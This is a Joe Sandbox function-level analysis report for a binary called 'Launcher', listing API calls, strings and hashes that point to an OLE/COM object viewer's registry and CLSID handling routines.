Opcode ID: 66659e589fc11e05ee286800f5bc70e9d9ed9be146222fe5f7508b4633c7fa61
Instruction ID: 1636035ece28c8d6efae44d46958343c76e8cd6d0218d4a68d11b3f943359916
Opcode Fuzzy Hash: 66659e589fc11e05ee286800f5bc70e9d9ed9be146222fe5f7508b4633c7fa61
Instruction Fuzzy Hash: C322D6B0905229DFDBA4DF14CD84BA9B7BABB44305F1040D9E60EA7292DB749EC5CF18

Function 00670E70 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

#4493.MFC42U ref: 00670E90
__EH_prolog3_GS.LIBCMT ref: 00671B2B
#540.MFC42U(00000044,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00671B35
#540.MFC42U(00000044,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00671B41
#4155.MFC42U(00000004,00000044,00000000,?,?), ref: 00671B4F
#4155.MFC42U(00000005,00000004,00000044,00000000,?,?), ref: 00671B59
#540.MFC42U(00000005,00000004,00000044,00000000,?,?), ref: 00671B61
#3865.MFC42U(?,00000005,00000004,00000044,00000000,?,?), ref: 00671B77
#2970.MFC42U(00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00671B8C
#2910.MFC42U(000000FF,00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00671B99
#3792.MFC42U(000000FF,00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00671BA6
#3792.MFC42U(00000000,000000FF,00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00671BB8
wsprintfW.USER32 ref: 00671BE8
#5568.MFC42U(000000FF), ref: 00671BF6
#6399.MFC42U(?,?,?,000000FF), ref: 00671C09
#800.MFC42U(?,?,?,000000FF), ref: 00671C11
#800.MFC42U(?,?,?,000000FF), ref: 00671C19
#800.MFC42U(?,?,?,000000FF), ref: 00671C21

Strings

,, xrefs: 00671B70
%d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, xrefs: 00671BE2

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #540#800$#3792#4155$#2910#2970#3865#4493#5568#6399H_prolog3_wsprintf
String ID: %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d$,
API String ID: 3591584436-2100854449
Opcode ID: 0a08a52c9a55812f9f806114a1fdf939d0250c05aabb547e6487044443c50897
Instruction ID: 666971a736e69173a527be17fd3ae3311b9bd5d68d3d2cc3f72c00fe3c676cb1
Opcode Fuzzy Hash: 0a08a52c9a55812f9f806114a1fdf939d0250c05aabb547e6487044443c50897
Instruction Fuzzy Hash: 73315A32900108ABCF45EBE0CC52EEDBB77BF58310F448568F216A71A2DF716A1ACB55

Function 006742EB Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 280stringregistryCOMMON

Download Yara Rule

APIs

#1662.MFC42U(800E373A), ref: 00674326
#858.MFC42U(?), ref: 00674531
#540.MFC42U ref: 0067455F
StringFromGUID2.OLE32(?,?,00000028,?,00669EDC), ref: 0067459A
lstrcpyW.KERNEL32(?,00000000), ref: 006745B1
#2810.MFC42U(?,CLSID\%s,?,?), ref: 006745E0
lstrcpyW.KERNEL32(?,?), ref: 006745F3
RegQueryValueW.ADVAPI32(80000000,00000000,?,00000100), ref: 00674618
#2810.MFC42U(?,%s (%s),?,?), ref: 00674636
#2810.MFC42U(?,0066572C,?,?,00669EDC), ref: 00674651
#540.MFC42U(00000000,?), ref: 006746F4
#2810.MFC42U(?,Could not add item to tree view. Internal OLEViewer error.,00000000,?), ref: 00674709
#800.MFC42U(?,80004005,00000000,?), ref: 0067472C
#2644.MFC42U(00000000,?), ref: 00674737
#800.MFC42U(00000000,?), ref: 0067476E

Strings

Could not add item to tree view. Internal OLEViewer error., xrefs: 006746FD
%s (%s), xrefs: 0067462A
CLSID\%s, xrefs: 006745D4

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2810$#540#800lstrcpy$#1662#2644#858FromQueryStringValue
String ID: %s (%s)$CLSID\%s$Could not add item to tree view. Internal OLEViewer error.
API String ID: 2368693756-676685266
Opcode ID: 5701ff7b78a9e01fabde9c60918994aa489f61fbda2cc2910bdb0fa50e3ef55a
Instruction ID: 60cdfe1131faa58fffbc632c5b9258e3fb2238362f4ecbbc5d3bd7392a3d1d73
Opcode Fuzzy Hash: 5701ff7b78a9e01fabde9c60918994aa489f61fbda2cc2910bdb0fa50e3ef55a
Instruction Fuzzy Hash: EFD1C4719012299FDB65EF54CC99B9DB7BABF48300F1081EAE409A72A1DB709E84CF54

Function 00675270 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 231COMMON

Download Yara Rule

APIs

#4078.MFC42U( Jf), ref: 0067529C

Strings

Jf, xrefs: 00675294
0Jf, xrefs: 006753CC
", xrefs: 006754FF

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #4078
String ID: Jf$"$0Jf
API String ID: 2741252101-3062084776
Opcode ID: bff04548c0a4d3e47c7b89f6e324be85e00c69fa853cb4f2afbadfe507114767
Instruction ID: f128d06dd218af28dadf16626590379102da63a5d37afe567a5e4ee38b6ea544
Opcode Fuzzy Hash: bff04548c0a4d3e47c7b89f6e324be85e00c69fa853cb4f2afbadfe507114767
Instruction Fuzzy Hash: C0A12A70D00619EFDF54DFA4D8497ADBBB3EF48311F1091A9E41AA63A0EBB48A41CF11

Function 0066CB16 Relevance: 31.6, APIs: 14, Strings: 4, Instructions: 126stringwindowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0066CB20
#540.MFC42U(00000264,0066DF79), ref: 0066CB33
StringFromGUID2.OLE32(?,?,00000028,00000264,0066DF79), ref: 0066CB5F
#861.MFC42U(?), ref: 0066CBEC
lstrcmpW.KERNEL32(?,Interactive User,?,?,?,?), ref: 0066CC3D
#6195.MFC42U(006621A0,?,?,?,?), ref: 0066CC4E
#2634.MFC42U(00000000,006621A0,?,?,?,?), ref: 0066CC58
#6195.MFC42U(?,?,?,?,?), ref: 0066CC69
#2634.MFC42U(00000001,?,?,?,?,?), ref: 0066CC72
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 0066CCA3
#6330.MFC42U(00000000,?,?,?,?), ref: 0066CCAC
#800.MFC42U(00000000,?,?,?,?), ref: 0066CCB7

Strings

ActivateAtStorage, xrefs: 0066CB7D
RemoteServerName, xrefs: 0066CBBE
RunAs, xrefs: 0066CC0F
Interactive User, xrefs: 0066CC31

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2634#6195$#540#6330#800#861FromH_prolog3_MessageSendStringlstrcmp
String ID: ActivateAtStorage$Interactive User$RemoteServerName$RunAs
API String ID: 3025489585-4117267133
Opcode ID: a75febd04f8ff8d5aa1ccd49b5a97226a9b4695dcf0bef01a42f3db189251687
Instruction ID: 6f73a81ef8dc27efd5e1918865368275c01c30a81b03132a3ec886b5c6a6f2b4
Opcode Fuzzy Hash: a75febd04f8ff8d5aa1ccd49b5a97226a9b4695dcf0bef01a42f3db189251687
Instruction Fuzzy Hash: 2E41E831504719ABDB51EF24CC86FEB777BAF09700F4141EDB90DAB181DAB26A48CB54

Function 0067D91D Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0067D924
FormatMessageW.KERNEL32(00001100,00000000,?,00000409,?,00000000,00000000,00000010,0067B9B7,?,00000000,00000000,00000000), ref: 0067D942
#2810.MFC42U(?,%s %s,?,00000000,?), ref: 0067D96C
#922.MFC42U(?,?,?,?,?,?,?), ref: 0067D97F
#858.MFC42U(00000000,?,?,?,?,?,?,?), ref: 0067D98C
#800.MFC42U(00000000,?,?,?,?,?,?,?), ref: 0067D997
LocalFree.KERNEL32(?,00000000,?,?,?,?,?,?,?), ref: 0067D99F
#1197.MFC42U(?,00000000,00000000,?,?,?,?), ref: 0067D9AA
#540.MFC42U ref: 0067D94F

Part of subcall function 0067DCEB: wsprintfW.USER32 ref: 0067DD1D

#540.MFC42U ref: 0067D9B7
#2810.MFC42U(?,<No system message defined> %s,00000000,?), ref: 0067D9D5
#922.MFC42U(?,?,?,?,?,?), ref: 0067D9E8
#858.MFC42U(00000000,?,?,?,?,?,?), ref: 0067D9F5
#800.MFC42U(00000000,?,?,?,?,?,?), ref: 0067DA01
#1197.MFC42U(?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0067DA0B
#800.MFC42U(?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0067DA13

Strings

<No system message defined> %s, xrefs: 0067D9CF
%s %s, xrefs: 0067D966

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$#1197#2810#540#858#922$FormatFreeH_prolog3LocalMessagewsprintf
String ID: %s %s$<No system message defined> %s
API String ID: 3659733580-1395831093
Opcode ID: 02150189d4a672d6beb88e83374b9ddf5fc531af8d36bfb1ad6c8e00f7c3c59f
Instruction ID: 6400824a66a048d3d5eea24b27d42d728d50d2e8128ef99ac2dc98e61d79e2fd
Opcode Fuzzy Hash: 02150189d4a672d6beb88e83374b9ddf5fc531af8d36bfb1ad6c8e00f7c3c59f
Instruction Fuzzy Hash: 57310BB180010EAEDF42EBE0CD82DFFBB7EAF24344F108819B50976191EA714A48DB75

Function 006773B0 Relevance: 30.0, APIs: 13, Strings: 4, Instructions: 216registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(80000000,TypeLib,00000000), ref: 00677402
RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000040), ref: 0067743B
RegOpenKeyW.ADVAPI32(00000000,?,?), ref: 0067745D
RegEnumKeyW.ADVAPI32(?,00000000,?,00000040), ref: 00677496
RegQueryValueW.ADVAPI32(?,?,?,00000208), ref: 006774C9
CLSIDFromString.OLE32(00000000,-00000008), ref: 00677570
wcstol.MSVCRT ref: 00677610
wcsrchr.MSVCRT ref: 0067762C
wcstol.MSVCRT ref: 00677650
wsprintfW.USER32 ref: 00677696
wsprintfW.USER32 ref: 006776B9

Part of subcall function 00677F0B: SendMessageW.USER32(?,00001132,00000000,RHg), ref: 00677F1D

RegCloseKey.ADVAPI32(?), ref: 00677743
RegCloseKey.ADVAPI32(00000000), ref: 00677754

Strings

TypeLib, xrefs: 006773F8
%s <no name>, xrefs: 0067768A
', xrefs: 006776E2
%s (Ver %s), xrefs: 006776AD

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: CloseEnumOpenwcstolwsprintf$FromMessageQuerySendStringValuewcsrchr
String ID: %s (Ver %s)$%s <no name>$'$TypeLib
API String ID: 3817488620-1332438793
Opcode ID: 318dae813cb33e534b393939e4dedb33edc9f1af6aa9bb5aea731ad71ba583ec
Instruction ID: cc8b318ca2e876890abd8b0534728a9acf1ac583ef369577e374b27c6c08202a
Opcode Fuzzy Hash: 318dae813cb33e534b393939e4dedb33edc9f1af6aa9bb5aea731ad71ba583ec
Instruction Fuzzy Hash: 0BA1E371D082289FDB61DF64CC49BE9B7B9FB08305F1081EAE50DA6250DB78AE84DF45

Function 0067D0B6 Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 175registrystringCOMMON

Download Yara Rule

APIs

StringFromGUID2.OLE32(?,?,00000028,?,?,?,?,?,?,?), ref: 0067D152
lstrcpyW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 0067D163
wsprintfW.USER32 ref: 0067D179
RegOpenKeyW.ADVAPI32(80000000,CLSID,?), ref: 0067D1AA
wsprintfW.USER32 ref: 0067D1CD

Part of subcall function 0067D6F5: RegOpenKeyExW.KERNEL32(?,?,00000000,00020019,?,?,?,?,0067D6E4,80000000,?,?,?,?,?), ref: 0067D70D
Part of subcall function 0067D6F5: RegQueryValueExW.ADVAPI32(?,?,00000000,?,80000000,0067D6E4,?,?,?,0067D6E4,80000000,?,?,?,?,?), ref: 0067D72C
Part of subcall function 0067D6F5: RegCloseKey.ADVAPI32(?,?,?,?,0067D6E4,80000000,?,?,?,?,?,?,?,?), ref: 0067D738

_wcsicmp.MSVCRT ref: 0067D20E
wsprintfW.USER32 ref: 0067D22D

Part of subcall function 0067D81B: lstrlenW.KERNEL32(0067D19D,?,80000000,00000000), ref: 0067D846

RegEnumKeyW.ADVAPI32(?,00000000,?,000000FF), ref: 0067D25C
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0067D270
wsprintfW.USER32 ref: 0067D286
lstrcpyW.KERNEL32(00000000,?), ref: 0067D2C0

Strings

LocalServer32, xrefs: 0067D11C
CLSID\%s, xrefs: 0067D173, 0067D227
AppID, xrefs: 0067D18B, 0067D23A
AppID\%s, xrefs: 0067D280
CLSID, xrefs: 0067D1A4
CLSID\%s\LocalServer32, xrefs: 0067D1C7

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: wsprintf$CloseOpenlstrcpy$EnumFromQueryStringValue_wcsicmplstrlen
String ID: AppID$AppID\%s$CLSID$CLSID\%s$CLSID\%s\LocalServer32$LocalServer32
API String ID: 566217164-1287389397
Opcode ID: 0b70d44078b271880c0daac3f0e959a59d8c3c754eb21e952a70758704acd4bb
Instruction ID: 430f70c9f4b53aff9fd71ee18ea5daa72e8ce6e9df8bf7b9d32435964ec6c56b
Opcode Fuzzy Hash: 0b70d44078b271880c0daac3f0e959a59d8c3c754eb21e952a70758704acd4bb
Instruction Fuzzy Hash: 9A514F72900119AEDF20EB90DD45EEB77BEEF46300F0045A6BA49E6141DBB09B498FA5

Function 0066F346 Relevance: 29.8, APIs: 15, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066F34D
#324.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F35E
#567.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F375
#567.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F38F
#567.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F3AA
#567.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F3C0
#567.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F3DA
#540.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F3EF
#540.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F400
#540.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F40F
#540.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F420
#861.MFC42U(006621A0,0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F436
#861.MFC42U(006621A0,006621A0,0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F442
#861.MFC42U(006621A0,006621A0,006621A0,0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F453
#861.MFC42U(006621A0,006621A0,006621A0,006621A0,0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F45F

Strings

Pg, xrefs: 0066F394
g, xrefs: 0066F3DF

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #567$#540#861$#324H_prolog3
String ID: g$Pg
API String ID: 1167559088-3644887600
Opcode ID: 6fc1d1c6da3d12476b7736e87657860933d812633f59e2ed80c1c4a483de7fd3
Instruction ID: 2698fed5f838cf7178425cc329bcb08d52279aceb2e89d9663a73621c4ad5be2
Opcode Fuzzy Hash: 6fc1d1c6da3d12476b7736e87657860933d812633f59e2ed80c1c4a483de7fd3
Instruction Fuzzy Hash: 09319170A00656DBDB55EFA489127DCFBB2AF59300F50848CA5492B383DBB52B08CBD6

Function 0066B734 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 146comCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0066B73B
#538.MFC42U(?), ref: 0066B775

Part of subcall function 00674899: #1662.MFC42U ref: 006748D9
Part of subcall function 00674899: #540.MFC42U ref: 006748F3
Part of subcall function 00674899: lstrcpyW.KERNEL32(?,00000000), ref: 00674912
Part of subcall function 00674899: CreateBindCtx.OLE32(00000000,?), ref: 00674936
Part of subcall function 00674899: MkParseDisplayName.OLE32(?,00000000,00000000,00000000), ref: 00674971
Part of subcall function 00674899: #2644.MFC42U ref: 006749D1
Part of subcall function 00674899: #2810.MFC42U(?,MkParseDisplayName(... "%s" ...) failed.,?), ref: 006749E9
Part of subcall function 00674899: #800.MFC42U(?,00000000), ref: 00674A19

#800.MFC42U(?,?,?), ref: 0066B799
#538.MFC42U(?,?,?,?), ref: 0066B7A9
#800.MFC42U(?,?,?), ref: 0066B7D1
CLSIDFromProgID.OLE32(?,?,?,?,?), ref: 0066B7F1
CoCreateInstance.OLE32(?,00000000,?), ref: 0066B824
#538.MFC42U(?), ref: 0066B836
#540.MFC42U ref: 0066B84A
#2810.MFC42U(?,CoCreateInstance failed using the CLSID for '%s',?), ref: 0066B862

Part of subcall function 0067D91D: __EH_prolog3.LIBCMT ref: 0067D924
Part of subcall function 0067D91D: FormatMessageW.KERNEL32(00001100,00000000,?,00000409,?,00000000,00000000,00000010,0067B9B7,?,00000000,00000000,00000000), ref: 0067D942
Part of subcall function 0067D91D: #540.MFC42U ref: 0067D94F
Part of subcall function 0067D91D: #2810.MFC42U(?,%s %s,?,00000000,?), ref: 0067D96C
Part of subcall function 0067D91D: #922.MFC42U(?,?,?,?,?,?,?), ref: 0067D97F
Part of subcall function 0067D91D: #858.MFC42U(00000000,?,?,?,?,?,?,?), ref: 0067D98C
Part of subcall function 0067D91D: #800.MFC42U(00000000,?,?,?,?,?,?,?), ref: 0067D997
Part of subcall function 0067D91D: LocalFree.KERNEL32(?,00000000,?,?,?,?,?,?,?), ref: 0067D99F
Part of subcall function 0067D91D: #1197.MFC42U(?,00000000,00000000,?,?,?,?), ref: 0067D9AA
Part of subcall function 0067D91D: #800.MFC42U(?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0067DA13

#800.MFC42U(?,8007000E), ref: 0066B8F8

Strings

The command line (%s) does not contain a valid persistent OLE object, ProgID, or Type Library file., xrefs: 0066B8DD
CoCreateInstance failed using the CLSID for '%s', xrefs: 0066B85C

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$#2810#538#540$Create$#1197#1662#2644#858#922BindDisplayFormatFreeFromH_prolog3H_prolog3_InstanceLocalMessageNameParseProglstrcpy
String ID: CoCreateInstance failed using the CLSID for '%s'$The command line (%s) does not contain a valid persistent OLE object, ProgID, or Type Library file.
API String ID: 2990471804-1967779486
Opcode ID: 0fd077e71e2eadaef94d43ef1d189df55d9d2c9a4bafd89cef2d5652abaadc30
Instruction ID: 427eec0941fa492e4e5e7e319638091f9f7ebff5d49aed9b915015753069b866
Opcode Fuzzy Hash: 0fd077e71e2eadaef94d43ef1d189df55d9d2c9a4bafd89cef2d5652abaadc30
Instruction Fuzzy Hash: 5F517D71900219EFCF01EFA0C994DDDBBBAAF48310F144599E915B72A1DB31EE45CB64

Function 00672570 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 128COMMON

Download Yara Rule

APIs

#355.MFC42U(00000001,*.*,00000000,00001804,AllFiles(*.*)|*.*|,?,800E373A), ref: 006725C2
#2507.MFC42U(00000001,*.*,00000000,00001804,AllFiles(*.*)|*.*|,?,800E373A), ref: 006725D1
#800.MFC42U(00000001,*.*,00000000,00001804,AllFiles(*.*)|*.*|,?,800E373A), ref: 006725E5
#3494.MFC42U(?,00000001,*.*,00000000,00001804,AllFiles(*.*)|*.*|,?,800E373A), ref: 0067260E
#800.MFC42U(?,00000000,?,00000001,*.*,00000000,00001804,AllFiles(*.*)|*.*|,?,800E373A), ref: 00672679
#3494.MFC42U(?,?,00000000,?,00000001,*.*,00000000,00001804,AllFiles(*.*)|*.*|,?,800E373A), ref: 00672696
#800.MFC42U(00000000,?,?,?,00000000,?,00000001,*.*,00000000,00001804,AllFiles(*.*)|*.*|,?,800E373A), ref: 006726D2
#800.MFC42U(?,00000000,AllFiles(*.*)|*.*|,?,800E373A), ref: 00672796

Strings

AllFiles(*.*)|*.*|, xrefs: 006725A9
*.*, xrefs: 006725B5
IMoniker::BindToObject failed on the file moniker created from ( "%s" )., xrefs: 00672748

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$#3494$#2507#355
String ID: *.*$AllFiles(*.*)|*.*|$IMoniker::BindToObject failed on the file moniker created from ( "%s" ).
API String ID: 539546934-1039925223
Opcode ID: 57562f66b0f1e58c5ad69f1c13b2a8b684677b5efefe5d9417e08ba270903326
Instruction ID: a29facc811a8030ca1aa9a4a4c034d2737b479d9ff7487b224664cd9b3b0ed5f
Opcode Fuzzy Hash: 57562f66b0f1e58c5ad69f1c13b2a8b684677b5efefe5d9417e08ba270903326
Instruction Fuzzy Hash: D1511670814668EFCB66DB64CC55BECB7B9BF14700F0481E9A019A72A1EB715F88CF15

Function 00671100 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0067110A
SetActiveWindow.USER32(?,00000228), ref: 0067111B
#2859.MFC42U(00000000), ref: 00671122
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0067112E
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00671152
#1165.MFC42U ref: 00671158
#538.MFC42U(?), ref: 00671187

Part of subcall function 00674899: #1662.MFC42U ref: 006748D9
Part of subcall function 00674899: #540.MFC42U ref: 006748F3
Part of subcall function 00674899: lstrcpyW.KERNEL32(?,00000000), ref: 00674912
Part of subcall function 00674899: CreateBindCtx.OLE32(00000000,?), ref: 00674936
Part of subcall function 00674899: MkParseDisplayName.OLE32(?,00000000,00000000,00000000), ref: 00674971
Part of subcall function 00674899: #2644.MFC42U ref: 006749D1
Part of subcall function 00674899: #2810.MFC42U(?,MkParseDisplayName(... "%s" ...) failed.,?), ref: 006749E9
Part of subcall function 00674899: #800.MFC42U(?,00000000), ref: 00674A19

#800.MFC42U(?,00000000,?), ref: 006711B5
#538.MFC42U(?,?,00000000,?), ref: 006711CB

Part of subcall function 006742EB: #1662.MFC42U(800E373A), ref: 00674326

#800.MFC42U(00000000,?,?,?,00000000,?), ref: 006711F9
LoadTypeLib.OLEAUT32(?,00000000), ref: 0067121B
#540.MFC42U ref: 00671258
#2810.MFC42U(?,The file droped (%s) is not a valid persistent OLE object or Type Library file.,?), ref: 00671277

Part of subcall function 0067D91D: __EH_prolog3.LIBCMT ref: 0067D924
Part of subcall function 0067D91D: FormatMessageW.KERNEL32(00001100,00000000,?,00000409,?,00000000,00000000,00000010,0067B9B7,?,00000000,00000000,00000000), ref: 0067D942
Part of subcall function 0067D91D: #540.MFC42U ref: 0067D94F
Part of subcall function 0067D91D: #2810.MFC42U(?,%s %s,?,00000000,?), ref: 0067D96C
Part of subcall function 0067D91D: #922.MFC42U(?,?,?,?,?,?,?), ref: 0067D97F
Part of subcall function 0067D91D: #858.MFC42U(00000000,?,?,?,?,?,?,?), ref: 0067D98C
Part of subcall function 0067D91D: #800.MFC42U(00000000,?,?,?,?,?,?,?), ref: 0067D997
Part of subcall function 0067D91D: LocalFree.KERNEL32(?,00000000,?,?,?,?,?,?,?), ref: 0067D99F
Part of subcall function 0067D91D: #1197.MFC42U(?,00000000,00000000,?,?,?,?), ref: 0067D9AA
Part of subcall function 0067D91D: #800.MFC42U(?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0067DA13

#800.MFC42U(?,00000000), ref: 00671296
DragFinish.SHELL32(?), ref: 006712AF

Strings

The file droped (%s) is not a valid persistent OLE object or Type Library file., xrefs: 00671271

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$#2810#540Drag$#1662#538FileQuery$#1165#1197#2644#2859#858#922ActiveBindCreateDisplayFinishFormatFreeH_prolog3H_prolog3_LoadLocalMessageNameParseTypeWindowlstrcpy
String ID: The file droped (%s) is not a valid persistent OLE object or Type Library file.
API String ID: 1998644663-3375467908
